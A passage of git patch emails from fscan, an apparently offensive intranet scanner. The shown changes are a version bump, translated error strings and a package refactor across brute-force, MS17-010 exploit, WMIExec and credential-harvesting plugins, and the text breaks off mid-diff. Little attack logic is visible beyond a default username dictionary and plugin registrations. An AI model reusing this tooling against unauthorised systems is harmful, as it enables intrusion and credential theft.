15:25:41 +0800 Subject: [PATCH 048/188] =?UTF-8?q?version:=202.0.0=E7=89=88=E6=9C=AC?= =?UTF-8?q?=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Common/Config.go b/Common/Config.go index 6dd46ae..580d1a2 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -1,6 +1,6 @@ package Common -var version = "1.8.4" +var version = "2.0.0" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, From 0cfbf40baf5a1d4f4c3b2cc4f3fdde248173df13 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 16:11:04 +0800 Subject: [PATCH 049/188] =?UTF-8?q?fix:=20Log.go=E6=96=87=E4=BB=B6?= =?UTF-8?q?=E7=9A=84=E5=B7=B2=E7=9F=A5=E9=94=99=E8=AF=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Log.go | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/Common/Log.go b/Common/Log.go index 5669298..c76f9a8 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -145,19 +145,14 @@ func CheckErrs(err error) bool { // 已知错误列表 errs := []string{ - "远程主机关闭连接", - "连接数过多", - "连接超时", - "EOF", - "连接尝试失败", - "建立连接失败", - "无法连接", - "无法读取数据", - "不允许连接", - "无pg_hba.conf配置项", - "无法建立连接", - "无效的数据包大小", - "连接异常", + "closed by the remote host", "too many connections", + "i/o timeout", "EOF", "A connection attempt failed", + "established connection failed", "connection attempt failed", + "Unable to read", "is not allowed to connect to this", + "no pg_hba.conf entry", + "No connection could be made", + "invalid packet size", + "bad connection", } // 检查错误是否匹配 From c8687827ac8c4ff4f43a96aa089d0466b07cbbe5 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 16:15:53 +0800 Subject: [PATCH 050/188] =?UTF-8?q?refacor:=20=E7=BB=93=E6=9E=84=E5=8C=96?= =?UTF-8?q?=E4=BF=AE=E6=94=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 3 +-- Common/Parse.go | 15 +++++++------ {Config => Common}/Types.go | 2 +- Core/Registry.go | 42 ++++++++++++++++++------------------- Core/Scanner.go | 13 ++++++------ Plugins/FTP.go | 5 ++--- Plugins/FcgiScan.go | 3 +-- Plugins/FindNet.go | 5 ++--- Plugins/LocalInfo.go | 3 +-- Plugins/MS17010-Exp.go | 3 +-- Plugins/MS17010.go | 5 ++--- Plugins/MSSQL.go | 5 ++--- Plugins/Memcached.go | 3 +-- Plugins/Mongodb.go | 5 ++--- Plugins/MySQL.go | 5 ++--- Plugins/NetBIOS.go | 7 +++---- Plugins/Oracle.go | 5 ++--- Plugins/Postgres.go | 5 ++--- Plugins/RDP.go | 3 +-- Plugins/Redis.go | 7 +++---- Plugins/SMB.go | 7 +++---- Plugins/SMB2.go | 15 +++++++------ Plugins/SSH.go | 5 ++--- Plugins/SmbGhost.go | 5 ++--- Plugins/WMIExec.go | 5 ++--- Plugins/WebTitle.go | 7 +++---- Plugins/fcgiscan.go | 3 +-- WebScan/WebScan.go | 3 +-- main.go | 3 +-- 29 files changed, 85 insertions(+), 112 deletions(-) rename {Config => Common}/Types.go (97%) diff --git a/Common/Flag.go b/Common/Flag.go index bdbf244..505dd79 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -2,7 +2,6 @@ package Common import ( "flag" - "github.com/shadow1ng/fscan/Config" ) func Banner() { @@ -17,7 +16,7 @@ func Banner() { print(banner) } -func Flag(Info *Config.HostInfo) { +func Flag(Info *HostInfo) { Banner() // 目标配置 diff --git a/Common/Parse.go b/Common/Parse.go index 114a3df..1dab7f6 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -5,14 +5,13 @@ import ( "encoding/hex" "flag" "fmt" - "github.com/shadow1ng/fscan/Config" "net/url" "os" "strconv" "strings" ) -func Parse(Info *Config.HostInfo) { +func Parse(Info *HostInfo) { ParseUser() ParsePass(Info) ParseInput(Info) @@ -63,7 +62,7 @@ func ParseUser() error { } // ParsePass 解析密码、哈希值、URL和端口配置 -func ParsePass(Info *Config.HostInfo) error { +func ParsePass(Info *HostInfo) error { // 处理直接指定的密码列表 var pwdList []string if Password != "" { @@ -204,7 +203,7 @@ func Readfile(filename string) ([]string, error) { } // ParseInput 解析和验证输入参数配置 -func ParseInput(Info *Config.HostInfo) error { +func ParseInput(Info *HostInfo) error { // 检查必要的目标参数 if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { fmt.Println("[!] 未指定扫描目标") @@ -321,7 +320,7 @@ func ParseInput(Info *Config.HostInfo) error { } // ParseScantype 解析扫描类型并设置对应的端口 -func ParseScantype(Info *Config.HostInfo) error { +func ParseScantype(Info *HostInfo) error { // 先处理特殊扫描类型 specialTypes := map[string]string{ "hostname": "135,137,139,445", @@ -344,7 +343,7 @@ func ParseScantype(Info *Config.HostInfo) error { } // 检查是否是注册的插件类型 - plugin, validType := Config.PluginManager[Scantype] + plugin, validType := PluginManager[Scantype] if !validType { showmode() return fmt.Errorf("无效的扫描类型: %s", Scantype) @@ -368,7 +367,7 @@ func showmode() { // 显示常规服务扫描类型 fmt.Println("\n[+] 常规服务扫描:") - for name, plugin := range Config.PluginManager { + for name, plugin := range PluginManager { if plugin.Port > 0 && plugin.Port < 1000000 { fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port) } @@ -376,7 +375,7 @@ func showmode() { // 显示特殊漏洞扫描类型 fmt.Println("\n[+] 特殊漏洞扫描:") - for name, plugin := range Config.PluginManager { + for name, plugin := range PluginManager { if plugin.Port >= 1000000 || plugin.Port == 0 { fmt.Printf(" - %-10s\n", name) } diff --git a/Config/Types.go b/Common/Types.go similarity index 97% rename from Config/Types.go rename to Common/Types.go index aa6a420..948e744 100644 --- a/Config/Types.go +++ b/Common/Types.go @@ -1,5 +1,5 @@ // Config/types.go -package Config +package Common type HostInfo struct { Host string diff --git a/Core/Registry.go b/Core/Registry.go index cae17c8..daafa2a 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -1,128 +1,128 @@ package Core import ( - "github.com/shadow1ng/fscan/Config" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Plugins" ) func init() { // 注册标准端口服务扫描 - Config.RegisterPlugin("ftp", Config.ScanPlugin{ + Common.RegisterPlugin("ftp", Common.ScanPlugin{ Name: "FTP", Port: 21, ScanFunc: Plugins.FtpScan, }) - Config.RegisterPlugin("ssh", Config.ScanPlugin{ + Common.RegisterPlugin("ssh", Common.ScanPlugin{ Name: "SSH", Port: 22, ScanFunc: Plugins.SshScan, }) - Config.RegisterPlugin("findnet", Config.ScanPlugin{ + Common.RegisterPlugin("findnet", Common.ScanPlugin{ Name: "FindNet", Port: 135, ScanFunc: Plugins.Findnet, }) - Config.RegisterPlugin("netbios", Config.ScanPlugin{ + Common.RegisterPlugin("netbios", Common.ScanPlugin{ Name: "NetBIOS", Port: 139, ScanFunc: Plugins.NetBIOS, }) - Config.RegisterPlugin("smb", Config.ScanPlugin{ + Common.RegisterPlugin("smb", Common.ScanPlugin{ Name: "SMB", Port: 445, ScanFunc: Plugins.SmbScan, }) - Config.RegisterPlugin("mssql", Config.ScanPlugin{ + Common.RegisterPlugin("mssql", Common.ScanPlugin{ Name: "MSSQL", Port: 1433, ScanFunc: Plugins.MssqlScan, }) - Config.RegisterPlugin("oracle", Config.ScanPlugin{ + Common.RegisterPlugin("oracle", Common.ScanPlugin{ Name: "Oracle", Port: 1521, ScanFunc: Plugins.OracleScan, }) - Config.RegisterPlugin("mysql", Config.ScanPlugin{ + Common.RegisterPlugin("mysql", Common.ScanPlugin{ Name: "MySQL", Port: 3306, ScanFunc: Plugins.MysqlScan, }) - Config.RegisterPlugin("rdp", Config.ScanPlugin{ + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Port: 3389, ScanFunc: Plugins.RdpScan, }) - Config.RegisterPlugin("postgres", Config.ScanPlugin{ + Common.RegisterPlugin("postgres", Common.ScanPlugin{ Name: "PostgreSQL", Port: 5432, ScanFunc: Plugins.PostgresScan, }) - Config.RegisterPlugin("redis", Config.ScanPlugin{ + Common.RegisterPlugin("redis", Common.ScanPlugin{ Name: "Redis", Port: 6379, ScanFunc: Plugins.RedisScan, }) - Config.RegisterPlugin("fcgi", Config.ScanPlugin{ + Common.RegisterPlugin("fcgi", Common.ScanPlugin{ Name: "FastCGI", Port: 9000, ScanFunc: Plugins.FcgiScan, }) - Config.RegisterPlugin("memcached", Config.ScanPlugin{ + Common.RegisterPlugin("memcached", Common.ScanPlugin{ Name: "Memcached", Port: 11211, ScanFunc: Plugins.MemcachedScan, }) - Config.RegisterPlugin("mongodb", Config.ScanPlugin{ + Common.RegisterPlugin("mongodb", Common.ScanPlugin{ Name: "MongoDB", Port: 27017, ScanFunc: Plugins.MongodbScan, }) // 注册特殊扫描类型 - Config.RegisterPlugin("ms17010", Config.ScanPlugin{ + Common.RegisterPlugin("ms17010", Common.ScanPlugin{ Name: "MS17010", Port: 445, ScanFunc: Plugins.MS17010, }) - Config.RegisterPlugin("smbghost", Config.ScanPlugin{ + Common.RegisterPlugin("smbghost", Common.ScanPlugin{ Name: "SMBGhost", Port: 445, ScanFunc: Plugins.SmbGhost, }) - Config.RegisterPlugin("web", Config.ScanPlugin{ + Common.RegisterPlugin("web", Common.ScanPlugin{ Name: "WebTitle", Port: 0, ScanFunc: Plugins.WebTitle, }) - Config.RegisterPlugin("smb2", Config.ScanPlugin{ + Common.RegisterPlugin("smb2", Common.ScanPlugin{ Name: "SMBScan2", Port: 445, ScanFunc: Plugins.SmbScan2, }) - Config.RegisterPlugin("wmiexec", Config.ScanPlugin{ + Common.RegisterPlugin("wmiexec", Common.ScanPlugin{ Name: "WMIExec", Port: 135, ScanFunc: Plugins.WmiExec, }) - Config.RegisterPlugin("localinfo", Config.ScanPlugin{ + Common.RegisterPlugin("localinfo", Common.ScanPlugin{ Name: "LocalInfo", Port: 0, ScanFunc: Plugins.LocalInfoScan, diff --git a/Core/Scanner.go b/Core/Scanner.go index 9f97564..5267860 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -3,14 +3,13 @@ package Core import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "strconv" "strings" "sync" ) -func Scan(info Config.HostInfo) { +func Scan(info Common.HostInfo) { fmt.Println("[*] 开始信息扫描...") // 本地信息收集模块 @@ -110,7 +109,7 @@ func executeScanStrategy(Hosts []string, scanType string) []string { } // executeScanTasks 执行扫描任务 -func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) { +func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) { if scanType == "all" || scanType == "main" { // 根据端口选择扫描插件 switch info.Ports { @@ -126,7 +125,7 @@ func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, AddScan("fcgi", info, ch, wg) default: // 查找对应端口的插件 - for name, plugin := range Config.PluginManager { + for name, plugin := range Common.PluginManager { if strconv.Itoa(plugin.Port) == info.Ports { AddScan(name, info, ch, wg) return @@ -145,7 +144,7 @@ func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, var Mutex = &sync.Mutex{} // AddScan 添加扫描任务到并发队列 -func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { +func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { // 获取信号量,控制并发数 *ch <- struct{}{} // 添加等待组计数 @@ -174,7 +173,7 @@ func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync. } // ScanFunc 执行扫描插件 -func ScanFunc(name *string, info *Config.HostInfo) { +func ScanFunc(name *string, info *Common.HostInfo) { defer func() { if err := recover(); err != nil { fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) @@ -182,7 +181,7 @@ func ScanFunc(name *string, info *Config.HostInfo) { }() // 检查插件是否存在 - plugin, exists := Config.PluginManager[*name] + plugin, exists := Common.PluginManager[*name] if !exists { fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name) return diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 905a7e9..a13dc66 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -4,13 +4,12 @@ import ( "fmt" "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // FtpScan 执行FTP服务扫描 -func FtpScan(info *Config.HostInfo) (tmperr error) { +func FtpScan(info *Common.HostInfo) (tmperr error) { // 如果已开启暴力破解则直接返回 if Common.IsBrute { return @@ -62,7 +61,7 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { } // FtpConn 建立FTP连接并尝试登录 -func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { +func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) { Host, Port, Username, Password := info.Host, info.Ports, user, pass // 建立FTP连接 diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go index 28b0e85..90165f1 100644 --- a/Plugins/FcgiScan.go +++ b/Plugins/FcgiScan.go @@ -7,7 +7,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "io" "strconv" "strings" @@ -20,7 +19,7 @@ import ( //https://github.com/wofeiwo/webcgi-exploits // FcgiScan 执行FastCGI服务器漏洞扫描 -func FcgiScan(info *Config.HostInfo) error { +func FcgiScan(info *Common.HostInfo) error { // 如果设置了暴力破解模式则跳过 if Common.IsBrute { return nil diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index 1743bb6..63f8190 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -5,7 +5,6 @@ import ( "encoding/hex" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strconv" "strings" "time" @@ -19,13 +18,13 @@ var ( ) // Findnet 探测Windows网络主机信息的入口函数 -func Findnet(info *Config.HostInfo) error { +func Findnet(info *Common.HostInfo) error { fmt.Println("[+] FindNet扫描模块开始...") return FindnetScan(info) } // FindnetScan 通过RPC协议扫描网络主机信息 -func FindnetScan(info *Config.HostInfo) error { +func FindnetScan(info *Common.HostInfo) error { // 连接目标RPC端口 target := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) diff --git a/Plugins/LocalInfo.go b/Plugins/LocalInfo.go index 285dab1..9e57df8 100644 --- a/Plugins/LocalInfo.go +++ b/Plugins/LocalInfo.go @@ -3,7 +3,6 @@ package Plugins import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "os" "path/filepath" "runtime" @@ -89,7 +88,7 @@ var ( } ) -func LocalInfoScan(info *Config.HostInfo) (err error) { +func LocalInfoScan(info *Common.HostInfo) (err error) { fmt.Println("[+] LocalInfo扫描模块开始...") home, err := os.UserHomeDir() if err != nil { diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go index f537271..c88d384 100644 --- a/Plugins/MS17010-Exp.go +++ b/Plugins/MS17010-Exp.go @@ -6,7 +6,6 @@ import ( "encoding/hex" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "io" "io/ioutil" "net" @@ -15,7 +14,7 @@ import ( ) // MS17010EXP 执行MS17-010漏洞利用 -func MS17010EXP(info *Config.HostInfo) { +func MS17010EXP(info *Common.HostInfo) { address := info.Host + ":445" var sc string diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index 8c9713b..d80b15c 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -6,7 +6,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "log" "strings" "time" @@ -83,7 +82,7 @@ func init() { } // MS17010 扫描入口函数 -func MS17010(info *Config.HostInfo) error { +func MS17010(info *Common.HostInfo) error { // 暴力破解模式下跳过扫描 if Common.IsBrute { return nil @@ -100,7 +99,7 @@ func MS17010(info *Config.HostInfo) error { } // MS17010Scan 执行MS17-010漏洞扫描 -func MS17010Scan(info *Config.HostInfo) error { +func MS17010Scan(info *Common.HostInfo) error { ip := info.Host // 连接目标445端口 diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index 0aa4f00..4df1e36 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -5,13 +5,12 @@ import ( "fmt" _ "github.com/denisenkom/go-mssqldb" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // MssqlScan 执行MSSQL服务扫描 -func MssqlScan(info *Config.HostInfo) (tmperr error) { +func MssqlScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -50,7 +49,7 @@ func MssqlScan(info *Config.HostInfo) (tmperr error) { } // MssqlConn 尝试MSSQL连接 -func MssqlConn(info *Config.HostInfo, user string, pass string) (bool, error) { +func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { host, port, username, password := info.Host, info.Ports, user, pass timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index ba285ba..76a8f17 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -3,13 +3,12 @@ package Plugins import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // MemcachedScan 检测Memcached未授权访问 -func MemcachedScan(info *Config.HostInfo) error { +func MemcachedScan(info *Common.HostInfo) error { fmt.Println("[+] Memcached扫描模块开始...") realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index cc1e378..95b3ba4 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -3,13 +3,12 @@ package Plugins import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // MongodbScan 执行MongoDB未授权扫描 -func MongodbScan(info *Config.HostInfo) error { +func MongodbScan(info *Common.HostInfo) error { if Common.IsBrute { return nil } @@ -25,7 +24,7 @@ func MongodbScan(info *Config.HostInfo) error { } // MongodbUnauth 检测MongoDB未授权访问 -func MongodbUnauth(info *Config.HostInfo) (bool, error) { +func MongodbUnauth(info *Common.HostInfo) (bool, error) { // MongoDB查询数据包 msgPacket := createOpMsgPacket() queryPacket := createOpQueryPacket() diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index 4703045..17334e8 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -5,13 +5,12 @@ import ( "fmt" _ "github.com/go-sql-driver/mysql" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // MysqlScan 执行MySQL服务扫描 -func MysqlScan(info *Config.HostInfo) (tmperr error) { +func MysqlScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -50,7 +49,7 @@ func MysqlScan(info *Config.HostInfo) (tmperr error) { } // MysqlConn 尝试MySQL连接 -func MysqlConn(info *Config.HostInfo, user string, pass string) (bool, error) { +func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { host, port, username, password := info.Host, info.Ports, user, pass timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index e96d827..2d8a0ed 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -5,7 +5,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "gopkg.in/yaml.v3" "net" "strconv" @@ -15,7 +14,7 @@ import ( var errNetBIOS = errors.New("netbios error") -func NetBIOS(info *Config.HostInfo) error { +func NetBIOS(info *Common.HostInfo) error { fmt.Println("[+] NetBIOS扫描模块开始...") netbios, _ := NetBIOS1(info) output := netbios.String() @@ -28,7 +27,7 @@ func NetBIOS(info *Config.HostInfo) error { return errNetBIOS } -func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) { +func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) { netbios, err = GetNbnsname(info) var payload0 []byte if netbios.ServerService != "" || netbios.WorkstationService != "" { @@ -87,7 +86,7 @@ func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) { return } -func GetNbnsname(info *Config.HostInfo) (netbios NetBiosInfo, err error) { +func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") realhost := fmt.Sprintf("%s:137", info.Host) diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index b628fa1..2d98a60 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -4,14 +4,13 @@ import ( "database/sql" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" _ "github.com/sijms/go-ora/v2" "strings" "time" ) // OracleScan 执行Oracle服务扫描 -func OracleScan(info *Config.HostInfo) (tmperr error) { +func OracleScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -50,7 +49,7 @@ func OracleScan(info *Config.HostInfo) (tmperr error) { } // OracleConn 尝试Oracle连接 -func OracleConn(info *Config.HostInfo, user string, pass string) (bool, error) { +func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) { host, port, username, password := info.Host, info.Ports, user, pass timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index 12058c5..33b1314 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -5,13 +5,12 @@ import ( "fmt" _ "github.com/lib/pq" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "strings" "time" ) // PostgresScan 执行PostgreSQL服务扫描 -func PostgresScan(info *Config.HostInfo) (tmperr error) { +func PostgresScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -50,7 +49,7 @@ func PostgresScan(info *Config.HostInfo) (tmperr error) { } // PostgresConn 尝试PostgreSQL连接 -func PostgresConn(info *Config.HostInfo, user string, pass string) (bool, error) { +func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) { host, port, username, password := info.Host, info.Ports, user, pass timeout := time.Duration(Common.Timeout) * time.Second diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 4fe1812..9763705 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -4,7 +4,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/tomatome/grdp/core" "github.com/tomatome/grdp/glog" "github.com/tomatome/grdp/protocol/nla" @@ -30,7 +29,7 @@ type Brutelist struct { } // RdpScan 执行RDP服务扫描 -func RdpScan(info *Config.HostInfo) (tmperr error) { +func RdpScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 27d912a..7dfd978 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -4,7 +4,6 @@ import ( "bufio" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "io" "net" "os" @@ -18,7 +17,7 @@ var ( ) // RedisScan 执行Redis服务扫描 -func RedisScan(info *Config.HostInfo) (tmperr error) { +func RedisScan(info *Common.HostInfo) (tmperr error) { fmt.Println("[+] Redis扫描模块开始...") starttime := time.Now().Unix() @@ -60,7 +59,7 @@ func RedisScan(info *Config.HostInfo) (tmperr error) { } // RedisConn 尝试Redis连接 -func RedisConn(info *Config.HostInfo, pass string) (bool, error) { +func RedisConn(info *Common.HostInfo, pass string) (bool, error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) // 建立TCP连接 @@ -108,7 +107,7 @@ func RedisConn(info *Config.HostInfo, pass string) (bool, error) { } // RedisUnauth 尝试Redis未授权访问检测 -func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { +func RedisUnauth(info *Common.HostInfo) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) diff --git a/Plugins/SMB.go b/Plugins/SMB.go index a7b115b..8f9f351 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -4,14 +4,13 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/stacktitan/smb/smb" "strings" "time" ) // SmbScan 执行SMB服务的认证扫描 -func SmbScan(info *Config.HostInfo) (tmperr error) { +func SmbScan(info *Common.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if Common.IsBrute { return nil @@ -67,7 +66,7 @@ func SmbScan(info *Config.HostInfo) (tmperr error) { } // SmblConn 尝试建立SMB连接并进行认证 -func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { +func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false // 配置SMB连接选项 @@ -95,7 +94,7 @@ func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struc } // doWithTimeOut 执行带超时的SMB连接认证 -func doWithTimeOut(info *Config.HostInfo, user string, pass string) (flag bool, err error) { +func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) { signal := make(chan struct{}) // 在goroutine中执行SMB连接 diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index aca01be..3bfcd29 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -3,7 +3,6 @@ package Plugins import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "net" "os" "strings" @@ -13,7 +12,7 @@ import ( ) // SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 -func SmbScan2(info *Config.HostInfo) (tmperr error) { +func SmbScan2(info *Common.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if Common.IsBrute { @@ -34,7 +33,7 @@ func SmbScan2(info *Config.HostInfo) (tmperr error) { } // smbHashScan 使用哈希进行认证扫描 -func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { +func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error { for _, user := range Common.Userdict["smb"] { for _, hash := range Common.HashBytes { success, err, printed := Smb2Con(info, user, "", hash, hasprint) @@ -63,7 +62,7 @@ func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { } // smbPasswordScan 使用密码进行认证扫描 -func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) error { +func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) error { for _, user := range Common.Userdict["smb"] { for _, pass := range Common.Passwords { pass = strings.ReplaceAll(pass, "{user}", user) @@ -93,7 +92,7 @@ func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) erro } // logSuccessfulAuth 记录成功的认证 -func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) { +func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { var result string if Common.Domain != "" { result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", @@ -112,7 +111,7 @@ func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) { } // logFailedAuth 记录失败的认证 -func logFailedAuth(info *Config.HostInfo, user, pass string, hash []byte, err error) { +func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) { var errlog string if len(hash) > 0 { errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", @@ -139,7 +138,7 @@ func shouldStopScan(err error, startTime int64, totalAttempts int) bool { } // Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 -func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { +func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { // 建立TCP连接 conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(Common.Timeout)*time.Second) @@ -202,7 +201,7 @@ func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, haspr } // logShareInfo 记录SMB共享信息 -func logShareInfo(info *Config.HostInfo, user string, pass string, hash []byte, shares []string) { +func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) { var result string // 构建基础信息 diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 37ef053..6a6d319 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -3,7 +3,6 @@ package Plugins import ( 